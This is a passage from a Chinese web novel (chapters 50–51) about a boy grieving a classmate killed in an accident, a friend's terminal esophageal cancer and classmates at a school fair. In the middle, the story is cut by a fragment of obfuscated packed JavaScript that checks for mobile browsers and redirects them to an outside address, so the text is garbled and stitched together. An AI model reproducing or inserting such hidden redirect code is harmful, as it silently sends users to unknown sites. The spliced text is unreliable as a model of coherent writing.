倪旖一只手拿着西瓜冰棒,另一只手拿着手机屏幕里那女人照片端详着。 “那女的跟那男的就……,那个中年男的,是是是——”蒋商鉴难以说出口。 “……”倪旖一愣,汗毛瞬间竖起来,快速捂住蒋商鉴嘴巴,颤抖声音哆哆嗦嗦制止,“商商不说,我知道了,说不出口就不强迫自己。” 带有海潮新鲜气味的风,抚摸那因发热而微微发红的脸庞,倪旖那纯真表情就像看到洗得很干净的玻璃仪器,有种很爽的感觉。 蒋商鉴默然,算是回应。 倪旖环视了四周,用木勺子挖着没牌子杯装冰淇淋吃。 蒋商鉴胳膊肘戳戳他,微微蹙眉。 “商商,你依旧很好。”倪旖亲一下蒋商鉴脸颊。 蒋商鉴深吸气,隔着小帆布包用食指尖戳戳她被冰激凌吃得微微撑起的肚皮,淡淡道:“可为什么我要遭遇这种毁三观事情?为什么我要被勒索威胁?” 倪旖那眼力劲,也不再安慰,直接开跑。 两人你追我赶,匆忙跑了出来。 倪旖小跑着钻进满是水果香味的店铺等着,溜达两圈觉着有点渴:“阿姨,我要半个西瓜切成果盒装。” 买好西瓜,等店员切块。 这时,蒋商鉴也过来,穿过塑料条透明门帘,关注着她的举动。 倪旖真是渴急了,急匆匆道:“阿姨,先给我切一块好吗?” 蒋商鉴笑笑,她总是这样,跟馋猫一样,本以为她拿到瓜就会自己啃。 结果倪旖举着瓜就朝他走来:“商商,你先来一口。” 蒋商鉴存心逗她说:“我咬尖尖也没关系吗?” 倪旖咽了咽口水,笑嘻嘻说:“当然啦,我的西瓜尖尖你都可以吃。” 蒋商鉴也没吃,接过售货员递过来的果切盒,单手搂过倪旖肩膀。 俩人慢慢悠悠走去高铁站,一路上也没再提那件事。 “嗡嗡——” 倪旖张嘴接过蒋商鉴喂的冰镇西瓜,看到手机联系人那瞬喜笑颜开,快速接通电话,喋喋不休分享:“甄大美女,不好意思了,我脱单了,你认得哦,蒋商鉴哦,就是不愿意给你联系方式的岽大师兄哦,他还亲我了呢,羡不羡慕啊——” 对面抽噎一声,愕然传出刘湖岐声音。 “她走了。” 倪旖内心升起一股强烈不安:“走哪儿啊?” “去世。” 那两个字就是炸弹导火索,她脑袋晕晕乎乎,车厢声音渐渐飘远。 一周前,甄凝就失踪了。 银行职员开始拖动鼠标,画面上的人像默片一样滑稽地快速移动,还是跳帧运转,动作不连贯。 “两点,三点,四点……马上了……”职员自言自语。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304319|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >刘湖岐看到,判断是正确的。 随着日光减弱,摄像头已经开始能够比较清晰地显示老街的图像。虽说看清车牌号不可能,但是如果甄凝在街上被人拉进车里,绝对能拍到。 刘湖岐激动起来,抓着椅子背。 他知道,这是最后的希望。 如果这里都没拍到,那只能等死。 “咦——”随着职员的这声烦躁感叹,一切都化为泡影。 画面突然变成一片漆黑。 “再拖!”刘湖岐冷声喝道。 六点,七点,八点…… 屏幕一直是黑的,一直到第二天早晨才恢复正常。 刘湖岐捂着嘴把脸转过去。 银行后台监控室死一般寂静。 “谢谢。”刘湖岐踉跄着出去,拖着沉重的脚步走在街上,面无血色,恍恍惚惚。 橙色路灯依次亮起,把前路照得像一条降落跑道,这时他才蓦然发现,自己走在回家的路上,那条熟悉的华熙大道此刻无比陌生。 他停了下来,举目四望。 左边是购物批发市场,下午来过。路对面是农贸市场,下午也来过。还去了甄凝平时爱去的地方,甜品店,宠物店、剧本杀、游乐场…… 这几小时对他来说太长,这个城市对他来说也太大。一到下班点,到处是陌生人流,熙熙攘攘,永远匆匆忙忙,脸挂着一模一样的戒备而麻木的表情,似乎被白纸糊住的死人脸。 到处是吵吵嚷嚷的汽车,闪着令人烦躁的灯光,霸占着街上每一寸空间。 他从来没有觉得自己如此渺小,如此绝望。再也站不住,双手捂肚蹲了下去,手里彩色寻人启事传单撒一地。 上面写着:你见过她吗? “甄凝,你不要出事,求你,求你回家。”刘湖岐浑身发软倒在炙烤过的柏油路,鼻腔灌满垃圾腐朽与衰落,周围是密密麻麻人脚。 也不知躺多久,刘湖岐为她设置的专属铃声响,满脑子的记忆和眼前亮起的电话屏幕在他身上不知某处炸开来,变成豆大的泪珠从眼角渗出来,声音堵在喉咙里,胸口也喘不过气来。 她没事的。 刘湖岐总算松口气,几乎是卑微着跪在路面,手腕发颤到捉不住手机,只能用另只手扶着,同指甲嵌入皮肤,压着嗓音,眼圈猩红。 “甄凝,我一直找你呢。” 刘湖岐怕她害怕,刻意轻声些。 “她在岽大附属医院,快来,她,她,快,”甄母接到警察消息无助地瘫坐在急症室门口,舍不得说出“死”这么残忍的字。 刘湖岐像是发了疯一样,眼睛充血悲痛欲绝,喉咙发干,努力把哭压抑,又抑压不住以致疯狂咳嗽,像是濒死野兽被猎人子弹射中,缓慢流血身亡。 “你骗我,你骗我,你骗我……” “她没事的,没事的……” “她,她,她……” “求求你……” 声音到后面渐渐变成呜咽。 刘湖岐似乎可以预见昏暗急救室,各类仪器发出“滴嘟”的声响,屏幕上荧光绿的心电图在他眼前悲哀地跳跃。 刘湖岐浑身瘫软,逃避着,低垂着头靠在灌木绿化带上一动不动,从昨天凌晨到现在滴水未进,板正头发凌乱得看不清发缝,憔悴嘴唇干裂得发白。 刘湖岐屏息凝神,抱着冰凉手机,用几不可闻的声音自我麻痹道:“她不会死的,只要我不去医院,对,我看不见,看不见,她,她不会。” 长久的死寂,悲哀的默然。 一辆出租车停下。 刘湖岐机械性缓缓抬头,眼神空洞无神,被强行扯着拽进车里,将死刑犯押解到行刑台似的,手段残暴。 刘湖岐只轻轻说句:“她没死。” 他刚关上门,腿软跪跌在急症室门口那一刹那,屋内的心电测试仪发出警报般“滴——”的声响。 声音并不大,却重重砸进他心。 甄母颤抖地捂住嘴,整颗心猛地向下坠去,连坐在地板靠墙都没力,就这么直滑下,被迫囫囵吞下痛苦,此时全身刺痛。 急症室护士急促奔跑的零碎脚步声敲击着心脏,刘湖岐猛地抬头,眼神空洞又茫然,整个人撑着膝盖扶着墙站起来的同时又踩空阶梯台阶失重般,再狠狠跌落,跪在冰凉地面,脑袋耷拉着。 刘湖岐错愕地看着太平间工作人员忙前忙后,神经绞得根根作痛,眼前仿佛覆上一层灰白调的死亡滤镜,一切都变得虚无起来,指尖颤抖地抠着地面,肘关节到手碗一大块鲜红擦伤。 他脸色渐渐变成恐惧的惨白,心冷得发颤。 雪白布料盖着甄凝。 甄父抗打击力强些,让工作人员将人推走,也不管错愕表情,死死按住绝望的妻子,母兽护着崽能力强大,平时温婉女人拼了命跌跌撞撞地追着推走的病床,身体抖得冰凉。 最终甄母跪在太平间门口,任凭护士拉扯着,也再没站起来。 刘湖岐已经生理性木僵,一点距离都没法挪动,崩溃地擦额贴着墙壁,四肢瘫软地跪在地上,眼泪断了线。 野风凛冽,几只黑鸦落在墓旁奇崛老松枝头,将松枝压得很低,尖喙时不时悲怆尖叫,似乎呼唤亡灵,像一丛瘦骨嶙峋的鬼爪。 在神情肃穆的亲友中心,甄母佝偻着腰,被丈夫搀扶着,头发斑白凌乱,瘦成欲折的秋草。 甄父原本乌黑发色也一夜白,扶着妻子,向围拢在墓碑旁依次放下手中白菊的亲友微微行礼。 甄母想要交谈几句算作人情,声色却喑哑虚软无力。 在场亲戚无一不落泪。 甄凝还没成年,就这么陨落,多好的孩子,成绩好,懂事…… 甄父母没通知同班同学祭奠,怕影响孩子们高考,就剩一年。 刘湖岐没参加,连衣裳都没换,一个多星期窝在被窝里,不管学校日常事宜。 她死了,他未尝不是。 天空湛蓝,白云浮动,松松软软,飘飘渺渺,仲夏真的彻彻底底来了。 可他躲在阴暗处,将回忆咀嚼。 如果没拒绝甄凝,如果他勇敢一点,如果…… 刘湖岐笑得凄惨。 那天,刘湖岐刚巧给甄凝送早餐,俩人欢欢喜喜吃艾草糍粑。 有人戳甄凝脊梁骨,说她父亲坐过牢上梁不正下梁歪什么的。 “我他妈叫你收回去——”刘湖岐反手就把手里那杯核桃豆浆往他身上一抡。 那男的打架多反应能力快,抬起右手往外一挡,可是豆浆全撒他新球鞋上,反手将篮球摔过去,篮球擦着他肩膀砸碎了教室窗户,声音响彻整层楼道。 周围人早就注意到,便都看着。 连教室里熙攘人群都静下来。 50.肿瘤 刘湖岐嘴角勾起来,将蓝白校服脱下随手擦擦鞋面豆浆,里面套上短袖,露出劲瘦并微微发着汗的胳膊,卷起校服松垮裤,把纤瘦霜白的脚踝露出来。 刘湖岐目色寒凉,说着便卡着脖颈把那男的往墙壁上抡。 那男的眼神惊异,眼前这瘦弱书生有股他从来没感觉到过的戾气,随着刚刚那句话笼罩着,看来,这是真的。 刘湖岐勾着桀骜笑意,强忍着小腹剧痛把膝盖往那男的肚子上一顶,还没碰到衣服,对方却不退反进,硬碰硬将膝盖对冲着顶撞,拳风在他耳边呼啸。 “卧槽!”那男的捂着右眉骨,刚刚那一拳他根本没手下留情,瞬间眼旁就青紫一大块。 甄凝看着这一幕呆愣两秒。 那男的伺机抬脚狠力一揣,刘湖岐失去重心跌倒在墙面,后脑和脊背猛地撞到走廊不锈钢栏杆,一时头昏脑涨,接着无法躲避他的拳,口腔震颤,像是有浓重的血腥气萦绕舌尖。 那男的动作没停顿,将前来拉架的甄凝一推搡,根本就没留点力气。 甄凝摔得手掌摩擦,火辣辣。 刚刚刘湖岐在他眼睛上的那一拳太狠,那男的现在狂躁压过一切情绪,几乎是在他撞上栏杆的那一瞬间就再来到他眼前,一顿拳打脚踢,半跪下拎起于工整衣领口。 “刘湖岐,你先动手的。” 那男的丝毫不留余力,抡拳重揍。 这么近距刘湖岐根本来不及躲闪,甄凝心提到了嗓子眼,几乎是鲜红掌心趴地面爬着扑过去,半米距离全是带血的泥渍,残缺的血掌心。 只见刘湖岐将她护怀里,趁他愣神片刻,膝盖一顶,利用后坐力躲避开那一拳,又顺势往边上一扑,侧身将甄凝压在身下,牢牢护住,抓住半秒喘息时间,左脚往那男的脚踝处猛地一踹。 那男的想还手却被围观人群制服。 刘湖岐先是将手在衣裳擦擦干净,轻轻将人脸颊泪痕抹开:“不怕。” “他说得是真的吗?”甄凝轻轻漾着悲喟的音调。 刘湖岐的心冷得发颤,感觉有把刀在他心上戳无数道鲜血淋漓的伤痕,戳完后还不满意,又顺着心室壁刮擦。 “我们回去说。” 甄凝脑子发懵,被拎着提起来,在围上来人群缝隙里擦过去,脑像是被割开哗啦倒出脑仁。 刘湖岐回想到那天,心被撕裂开似的疼痛。 他俩约定过都要当警察,甄凝这辈子都没法实现梦想。 理想对十七八岁少年来说好像比天大。 当甄凝鼓起勇气表白时,刘湖岐犹豫了,他当警察得政审,她家会影响他。 他无比憎恶自私。 此时刘湖岐视网膜里有小小的出血点,看起来就像熬夜过度的红血丝,可已经在床上躺了些天,四肢都退化。 “湖岐,起来吧,透透风,也不能再待屋里,振作一点。”刘妈知道这事对儿子打击致命,也不好过多责怪,端着托盘敲几下门,眼里满是心疼。 刘湖岐似是丧失生命,垂在身侧的手狠狠攥紧,半晌才闭上眼,低声虚弱道:“对不起,对不起……” 阳光从不锈钢窗里泻进来,照在冰冷瓷砖和房间里四处堆积的甄凝遗物洋娃娃上,整间屋子有种怪异的温馨感,就好像死去的人还未走远,灵魂寄居在玩偶里。 早上六点,闹铃大作。 刘湖岐镇定地睁开眼,不紧不慢地坐起来。 要是精神病医生看到这一幕,准会欢欣鼓舞,他醒后要么像尸体一样在床上愣两三小时,要么像个癫痫病人一样跳起来。 前者是日常表现,后者是吃抗躁郁药之后。 阳光透过走廊尽头的落地窗,将柔和细碎的光芒肆意铺在地板的白色瓷砖上。 刘湖岐起身机械去洗漱,在暗处,他的眼神隐隐约约,深浅难辨。 刘湖岐翻箱倒柜整理出不少药瓶,药片或多或少存在瓶底,毫不犹豫地扔进垃圾桶,像是把那时间段颓靡自己给冰冷处理。 刘湖岐觉得它们没用,跟甄凝从小听到的童话一样,都是无耻的欺骗。 这个世界根本不存在美好,人活一世,只是在经历不同程度的恐惧,什么药都不能减轻、不能克服。 刘湖岐行尸走肉般打车去医院急诊室,到了亮绿灯指示牌门口已是夜,走在空荡荡医院长廊里,处处灯光黯淡。 偶尔会遇到夜班的医生护士穿梭忙碌的身影,他们之间的话语都很细弱,像是祭水之人最后呢喃,带着困倦,白大褂在冷清光线下鬼气森森的。 “先生需要帮助吗?”护士站经理还算充沛的小护士过来提供帮助。 “甄凝,甄凝,甄凝……”刘湖岐出神重复嘀咕着。 “你说的是甄凝?她前几星期去世,可以去墓地祭奠,这些天她朋友可多都来询问情况。”护士女孩很遗憾,表情庄重。 刘湖岐麻木地拖着四肢满脸木色,四周一切声音都空洞,他的世界再也没甄凝,他喜欢的甄凝。 刘湖岐扭过头来,用那双细眼睛凝望着护士,声音由于医疗机器均匀干扰,有些模糊:“她没死。” 护士眼里全是错愕,抱住病例单,往后退两步,她惧怕他眼底猩红,就像做了些让人炸毛的举动。 刘湖岐残败不堪佝偻着腰,双腿无力瘫软到要扶着墙壁才能面前站立行走,一步又一步往外挪,像孩童般坐在医院门口冰凉僵硬水泥台阶上嚎啕大哭。 他不信她死了,可不得不信。 哭声引得四周人瞩目,频频投递目光,惊动百米外的保安大叔,鬓发花白的老爷子颤颤悠悠拄着拐杖,步履蹒跚走到他身边,用老年人的慈祥安抚着:“孩子啊,一切都会过去的,早点走出来,逝者也会安详。” 刘湖岐怒吼着:“她没死!” 保安老爷子推下眼镜,依旧温和和蔼,用岁月蹉跎的暗沉嗓音道:“孩子,每天都有你这样的年轻人在门口嚎啕,死是不可避免的,有人早一步而已。” 刘湖岐将他手甩开,带着睥睨一切癫狂尖叫着:“甄凝,她没死,没死!” 保安看日常新闻,也见过不少家属去医院赠鲜花吊唁,这么声嘶力竭倒头份,便没说什么,按原地缓步回去。 刘湖岐眼里带着恨意,目眦尽裂怒视着周遭流动的人群,咬牙切齿攥紧拳头,字字铿锵有力:“她没死。” 刘湖岐凭借这点恨意强撑着起身,招手拦了辆的士,浑身发冷蜷缩在角落座位里,精神极端绷紧,他要面对,他要不得不承认,甄凝死了,死了。 墓园原先庄重肃穆,万籁俱静,可此时却嘈杂嚷闹,不少人面带笑意抱着鲜花排队祭奠被他们杀死的甄凝,猫哭耗子假慈悲,无数波及家人那令人窒息的辱骂,难道不是他们制造? “滚!”刘湖岐扯着树枝一路抽打,鞭子平等落在每位鲈鱼看客身上,排队的人群四散开,都揉搓着被鞭及的皮肤。 “你吖是谁!”有人不满嘟囔着。 “你才应该滚!”有人推搡上前指摘。 “我们来祭奠校友,你不也是?”有人不解怒视着。 刘湖岐眼白上带着哭憋出来红点,阴鸷冷笑几声,将手上棍棒丢进人群,一字一顿冷漠嘲讽着:“甄凝被辱骂时你们在哪?你们在跟风造谣,你们在旁观冷视,你们巴不得她死掉来满足你们可笑的虚荣控制心。” 四周俨然无声,有些人受不了指责冲上前出说些什么被拦住,被眼神制止。 刘湖岐环顾四周,大笑着带着无尽诡谲凄凉:“你们只会笑着感叹,原来一句话就可以致人死亡,我不知道啊。” 有些哑口无言,缄默着举着摄像摄制,少数识相的便离开,多数人愤愤不满还没意识到说的是谁,掐着腰面面相觑着找凶手。 真是可笑。 刘湖岐竭声嘶竭:“滚!” 墓地管理者此刻迅疾过来调解群众矛盾,抬手将刘湖岐胳膊往后拽,被他瞪一眼后只得悻悻松开,挂着官腔调和:“我们坐下解——” 话还没说完就被打断。 “无关人员滚蛋。”刘湖岐冷言冷语,目光盯在人群开始处,那是墓碑,仿佛可以看见黑白照片那纯真笑脸,现在也只能夸奖:音容宛在。 “小伙子,你不能不让朋友祭奠,你也是其中——”管理员尴尬地劝着,被冷声呵止中断。 刘湖岐跌跌撞撞奔向墓碑,将挡事的人往一边推搡,勉强钻人群缝隙往前挤,走十分钟才跪倒在墓碑边,垂头丧气。 周围都是墓碑,唯独这里是玫瑰花海。 刘湖岐麻木机械将玫瑰丢掉,徒手擦拭祭台花瓣,双手发颤从兜里掏出几个月前甄凝塞进他口袋里的豌豆糕。 那糕点被压到破碎掉渣,拆开包装没法完整捏住,一米粒一米粒落在冰凉僵硬石阶。 刘湖岐眼疾手快一小点一小点拾着,活吞似的塞进嘴里,哽咽着哭腔,最后如排山倒海之势。 周围观瞻人群被疏散开,渐渐恢复静谧安详,墓地又是死一般寂静。 刘湖岐侧着靠在墓碑上,用手抚摸甄凝的脸颊,夕阳的余晕肆意地躺在他的肩膀上,风都不忍惊动。 他跟甄凝认识很久,她五岁时父亲坐牢,母亲带她搬家,恰好在她家附近。 小时候,甄凝都会朝他撒娇。 甄凝在跟他写作业时会突然用笔戳一戳他的手背,或是在他的指头上染一道墨水,或是啪地在他的头上敲一记。 刘湖岐都会原谅她孩童般稚气小调皮,她脸颊软软的,摸起来蜜桃似的,带些细小柔软绒毛,笑起来有浅浅小梨涡。 刘湖岐摸着塑料遗照防水膜,只感到恶寒。 墓园烟火灰烬般,一丝丝熄灭在立体几何状节理般密集的墓碑间,夜晚雾气在挺立昂首松木间隙里暗度陈仓。 “他大舅他二舅都是他舅……” 刘湖岐将手机来电铃声设为原来的。 那是甄凝玩的恶作剧。 刘湖岐接通电话,夜晚有些凉,连按键都冰。 “湖岐,我能去墓地嘛?”倪旖刚得知这消息震惊失神一周,这才鼓起勇气给刘湖岐拨通电话,嗓音暗淡,由于悲伤过度,被压制的情感让喉咙承受不住。 “她真的?”刘湖岐舍不得单方面宣判死亡,宛转犹豫间,喉咙随着情绪变化呜咽一声。 倪旖沉默着,擦着泪,憋不住难受哭出声,拽着纸巾擦鼻涕,哭一周后哭出后遗症,稍微一点风都得流泪。 “什么时候到?”刘湖岐死死咬唇,生怕落下一点悲伤让气氛持续恶化,按着墓碑顶部,凑上去吻了下甄凝遗照。 等十分钟,远处,一道灯光乍然而现,伴着刹车的刺耳响声,骤然把夜幕撕开一条缝。 刘湖岐看见倪旖在奥迪后座,疲惫不堪靠在玻璃窗,呼吸之间是压抑难熬,手颤抖着拉开车门,脚步一虚浮,直接从车后跌坐在沥青柏油地。 “湖岐。”倪旖轻唤着。 “嗯?”刘湖岐扶她起来,抬眸看着后视镜,和她对视,便快速转移视线。 “你不要自责,她被车撞不是你的问题,不是你的。”倪旖咬字重,哭个不停,手掌按压着湿透纸巾,颤栗发抖。 刘湖岐没说话,偷偷抹眼泪,明显感觉到她正往墓地的身体一僵一滞。 怎么能不自责? 她死了,连带着喜欢她的他也死去。 刘湖岐剧烈地咳了起来,手捂住胸口,喉咙里瞬间发出拉风箱般呼噜呼噜的声音,仿佛有一口浓痰卡着上下翻滚。 “你可以好好吃饭吗?”倪旖扭着腰回头望着咳嗽的刘湖岐,满是心疼。 刘湖岐忍着肺部颗粒感难受,点点头。 俩人在墓碑前祭奠一下也就回到车上。 司机将车开进甄凝家小区外面停车位,俩人先下车去楼上。 她家住老破小三层,墙壁都爬满翠绿盎然爬山虎,房价高,片区再破再烂政府都拆不起,只能修修补补住祖孙三代。 刘湖岐抬手将虚弱的倪旖搂靠在胸口,将生锈铜钥匙插入锁孔。 “咔嚓——”拧锁声像咬冬枣声清脆。 甄母将脸色发白的倪旖安置在木头沙发上,俯身将杯子用水壶灌满:“当时不告诉同班同学,就是怕你们承受不住。。” “是嘛?”倪旖一声长叹。 “明天我就回学校,你放心。”刘湖岐安慰着心如死灰的甄凝闺蜜,随后缓步去房间里,轻轻合上门。 还是原来模样,设施都不变。 想必母亲每天都打扫卫生,再抱着全家福回忆逝去的女儿。 刘湖岐不敢多看,便赶紧回房间。 甄父沉默着去甄凝屋里,拿了她剩下的猫薄荷和罐头,又抓了一大把猫粮,带着她的宠物猫白糖从芝麻胡同儿一路溜达到锣鼓胡同儿。 他快把这方圆几里猫可能占据的地盘儿寻个遍,还去社区图书室流浪猫小分队那里拿罐头“咪咪喵喵”问一通儿。 倪旖寒暄两句,就跟刘湖岐出门。 刘湖岐给老师发短信说休假,还得复印一份文件要甄凝父母签字代领毕业证书,便急急忙忙去对面商业街复印文件,等会到屋里,每个门都敲,还是没见到甄凝爸爸人影。 倪旖也急匆匆跟着跑前跑后,眼泪掉个不停。 “她爸算命,大师说,阎王爷罚她投胎变成流浪猫,你爸每晚都在小区流浪猫堆里找女儿。” 甄母抱着闺女毛衣躺在她床上,不停淌眼泪,擦都来不及,濡湿枕头被褥。 “这不是闹?”刘湖岐压着难以置信,霹雳哐啷就奔下楼四处找老头。 旁边路过的小青年都以为这大爷疯了,一问才知道家里的猫丢了,有个戴眼镜儿的姑娘蹲下来摸着白糖,犹豫半晌,搭腔道:“大爷,您那个猫是名猫,又漂亮,有可能就被人给逮了。” “甄凝,我 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“我跟他分手了。”倪旖坦然,还能准确无误记住蒋商鉴不告而别的信。 亲爱的倪旖: 当你看到这封信的时候,我已经搭上去国外的飞机,请原谅我的不告而别。 我鼓足勇气,怕见到你,前功尽废。 倪旖,你一遍遍强调要顶住压力,我就知道你有过放弃我或者被放弃的心理准备,过去我觉得爱是在一起,但看到你,我憎恶我的爱很狭隘,对你,对我,都很不公平。倪旖,我梦过好多次为你戴上结婚戒指、为你做早餐、为你整理发梢……为你,我想我能做一切事情,但,我的能力太弱,甚至没法维持你现有生活,我胆怯了。倪旖,我知道你不在乎这些,但,爱你的每一秒我都好难过,它时刻提醒我有多不自量力。倪旖,我好爱你那不用强调的自由啊,可拥抱你的自由,我就得舍弃我的自由。倪旖,如果你还爱我,那就放手吧,留我自由。 爱你的商商。 “怎么会?”刘湖岐搂过她肩膀给予安慰。 “他那么好的人,就该有更好的搭配。”倪旖想到那封信不是难过,是空落落的,还有坦然,就像担心的事情真的发生那种松一口气。 “你也很好啊。”刘湖岐给她递过来一张纸巾。 “我的好是我父母的蔽荫,他的好是一路坎坷都没变的淳真,他扛了太多,未来应该自由的,就算我不在他未来里。”倪旖没想哭,可眼泪不受控制滚落,为了缓解尴尬,站在光下蹦跶,想象木地板咯吱咯吱的声音和温柔粗糙的触觉。 “你到家了。”刘湖岐站在她家山庄外,目送她肩膀颤着被保镖护送回家。 刘湖岐的日子浑浑噩噩的,很快一整个高三上学期就结束了。 倪旖已经拿到保送通知书,大学预备役也不需要参与高中。 刘湖岐每晚都梦到甄凝,每晚。 她说好痛,好痛。 刘湖岐本来以为这样活死人状态他得一辈子了,可手机却有来电显示。 “去岽安医科大学附属肿瘤医院,我有事求你。” 刘湖岐心中隐隐不安,飞速奔跑到路口拦了一辆出租车。 耳边呼啸的风全都变为喘息声,刘湖岐急切确认不是他想象那样。 林愈合满脸平静在陪护椅上晃荡着脚。 林爸妈抱着彼此哭成个泪人。 刘湖岐感觉世界瞬间安静,只是任凭身体驱使,张嘴麻木道:“怎么了?” 林爸眼神空洞,机械性质喃喃自语:“愈合确诊食道癌Ⅳ期,全身淋巴转移,肺部发现结节,医生推荐进入食道癌免疫治疗的实验组,她要做了四次同期免疫治疗。” “……还剩多久?”刘湖岐不堪身体重量,支撑墙壁。 “最少5个月,最多8个月。”林爸眼球猩红色血丝很恐怖。 林愈合平静笑笑:“湖岐,我知道你因为甄凝很愧疚,找个事情转移注意力吧,陪我到医院化疗好嘛?我不想让谢灵桓知道。” 刘湖岐知道她已经取得父母同意,而他没法拒绝,他最合适这份差事。 “你该跟他说。”刘湖岐脑袋一瞬间都空荡,只是喃喃自语。 “只要我足够短命,我就能陪他一辈子。”林愈合有些虚弱地开玩笑。 刘湖岐没吱声,他在想,甄凝是不是就是这样想的,她的遗言里有遗憾嘛? 如果这段时间是剧本,那么作者一定是神经病。 如果上帝有疾病,那么一定是厌女症。 别问他信仰怎么改变,医院倾听过他太多祈祷。 伯承街老住宅区高大茂密的香樟树伫立在道路两旁,小巷子里传来栀子花的清香味,远处传来小贩贩卖包子的声音。 林愈合和刘湖岐关系肉眼可见拉近了。 表白失败被拉黑的谢灵桓气得要命,可想到林愈合拒绝说辞那么伤人,也拉不下脸面主动道歉,谁还不是要点脸面呢? 林愈合刻意远离谢某。 化疗第一个月,林愈合感觉食道异物小了,甚至有种好起来的错觉。 但是,不到一周恢复原样。 三月份,春季刚开学那几天,林愈合后背开始疼了。 刘湖岐每天给她灌热水缓解疼痛。 四月份,林愈合基本上没有力气走很远的路,公交站台到医院门口,只有200多米,走过去,中途要歇好几次。 刘湖岐见到后每次都背她去医院。 五月份,林愈合开始靠吗啡止痛。 刘湖岐找社区开证明,去医院买吗啡,然后跟社区医生学习给病人打吗啡,起先每天两针,到最后只要疼,就给她注射吗啡。她经常打针的那块小臂皮肤像被啃噬干掉的树皮,找块好地方戳针头都很难。 六月份,林愈合顽强撑过高考,后进过两次医院,癌细胞已经侵袭到气管,造成气管瘘,只要进食一点点就会呛到气管里。医生说已经没有治疗的必要。 刘湖岐哭着祈求医生再想想办法。 七月份,林愈合在家只能靠着吗啡,晚上完全不能躺在床上睡觉,一躺下就会剧烈咳嗽呕吐,完全不能进食,连喝水都会呕吐。 刘湖岐就坐在客厅沙发上,陪她坐一晚上。她不喊疼。 八月份,林愈合被送进医院,隔一会儿就会吐血,要不然就吐一些黄色的液体,她嘴唇干裂,咽不下去液体,或许通过癌细胞的缝隙渗进去一点点。 刘湖岐每晚睡不着,就望着她,时不时探探她气息是不是还在。 当然,这些是其他好朋友不知道。 谢灵桓不知道这些,告白失败后,他父母怕悲伤情绪影响高考,高三第二学期就搬家请家教查缺补漏,近期跟父母出国旅游,朋友圈照片上他很开心。 51.挨揍 倪旖在家在实验室里一年,被老友喊回校参加高中毕业庙会,还约好在这巷口会合,百无聊奈便瞥了眼十字路口拐角的小摊子,看到小摊子的铁锅冒着轻烟飘来滚烫的热油香味还有一点点肉松味。 巷口很清净,时不时传来搪瓷脸盆掉地上的哐当一声,还有孩童们嬉笑打闹的声音。百年的老榕树像是被无数条神龙盘绕,有些暗褐色的枯藤枝条垂下来,像是拉下了帘幕。树冠像是一把墨绿色的大伞,落下一地的阴凉。 榕树下有一个长椅,岁月斑驳了木凳,雨水冲刷了痕迹,暴露了里面的暗黄木头,像是掉了漆一般的,一块一块的。 倪旖买了饭团和甜豆浆就懒懒靠坐在长椅上,脑袋靠脑袋看着远处的晨曦,还有散落漫天的彩霞,时不时天空划过一阵鸟鸣,扰乱了久违的宁静。 “嗨!” 丁索隐跟丁戈晖打打闹闹就先后跑出来。 丁戈晖千年不变嫌弃:“臭屁精似的,你看,专门为庙会攒钱一个月买衣服,找人约妆。” 丁索隐心情很好,大大方方展示旗袍:“在庙会当天我就穿着我自己喜欢的旗袍,想要在平庸生活中活出精彩,哪怕没很多观众,但是我依然欢喜。” 丁索隐的旗袍不算质感很好那种,不过身材不错,修身也很漂亮,裙摆在膝盖以下,开叉在大腿中间,有一点点小性感。 “你这么还穿校服?”丁索隐看她一副好学生模样很是惊讶。 “学校拍宣传片,我得校服出境。”倪旖吸了一口豆浆,甜腻在舌尖炸开,咕哝一声便轻轻咬麦麸吸管。 “嗨,若若!”丁索隐老远就跟暗红色汉服女孩打招呼。 徐浣若腼腆一笑,也没说话。 四人小分队集齐完毕,刘湖岐、林愈合、谢灵桓,这仨因为错综复杂的三角关系王不见王。 据小道消息,谢某表白林某未遂,林某倒贴刘某,鳏夫刘某郁郁寡欢呢。 刚到门口,那个学生办公室就警告丁索隐暴露太多勒令回家换衣服,还挑刺徐浣若汉服颜色太阴暗,暗红色。 丁索隐当场破防,脚一蹬就给自己妈妈打电话,眼里擎着泪珠。 刚开始她妈妈没接,后来疯狂给她发消息说怎么了怎么了,受什么委屈了。 丁索隐就一边在丁戈晖衣服上揩鼻涕一边和妈妈打电话哭。 徐浣若在一旁默默听,情绪没什么起伏。 倪旖搂着徐浣若肩膀,无声安慰着。 等丁索隐打完电话,当场学生处主任就接到电话,然后倪旖就听到如此彪悍的丁妈妈打电话把主任劈头盖脸骂了一顿, 主任不停道歉。 丁索隐理所当然就被允许穿了。 徐浣若在旁边一脸茫然,她从一开始就没想过能让家长给学校施加压力。 “你也给妈妈打电话,骂死他!”丁索隐见自家事情解决,就一致对外。 徐浣若没回话,她害怕,她不敢,她觉得这是一件不可能的事,但是看到同学被妈妈保护她也在期待着,妈妈应该会站在闺女这边的吧? 徐浣若犹豫片刻,找个安静地方还是把电话打了过去。 但是一切和期待的相违背。 徐浣若就听着电话那头质疑,责怪,眼泪啪叽掉落。 徐浣若不理解,可还是保持最基本礼貌和她心平气和的说话,只是一直处于情绪崩溃的边缘,十分钟后终于提出一直以来的疑问和委屈。 “妈,你究竟是站在那边的?我的心情真的很差。” “我是只站在理这一边的。” 失望,彻底的死心。 徐浣若失神挂电话然后拉黑,一个人在厕所哭了一上午。 倪旖就蹲厕所外面也不好直接安慰,来回逡巡,时不时探头看看她有没有把纸巾哭完。 丁索隐英姿飒爽杀过来,还变本加厉穿个高跟鞋,恨天高那种,拽拽语气:“若若呢?让她快去换衣服啊,那瞎眼东西同意穿了!” “怎么回事?”倪旖好奇。 丁戈晖胳膊搭在表妹肩膀上,勾起唇角起来痞帅,笑嘻嘻:“我妈听说丁索隐受欺负又把主任骂一顿,现在什么都能穿!” 徐浣若礼貌道谢,还是不愿意跟着校车参加庙会。 “那,好吧,我们走了。”丁索隐使了眼色。 丁戈晖就当没看见,还问一句:“倪旖,你呢?” “我不爱热闹,”倪旖摸摸发痒的下巴,语气平和,“……死了老公。” 两人面面相觑,也没再邀请,就打个招呼离开了。 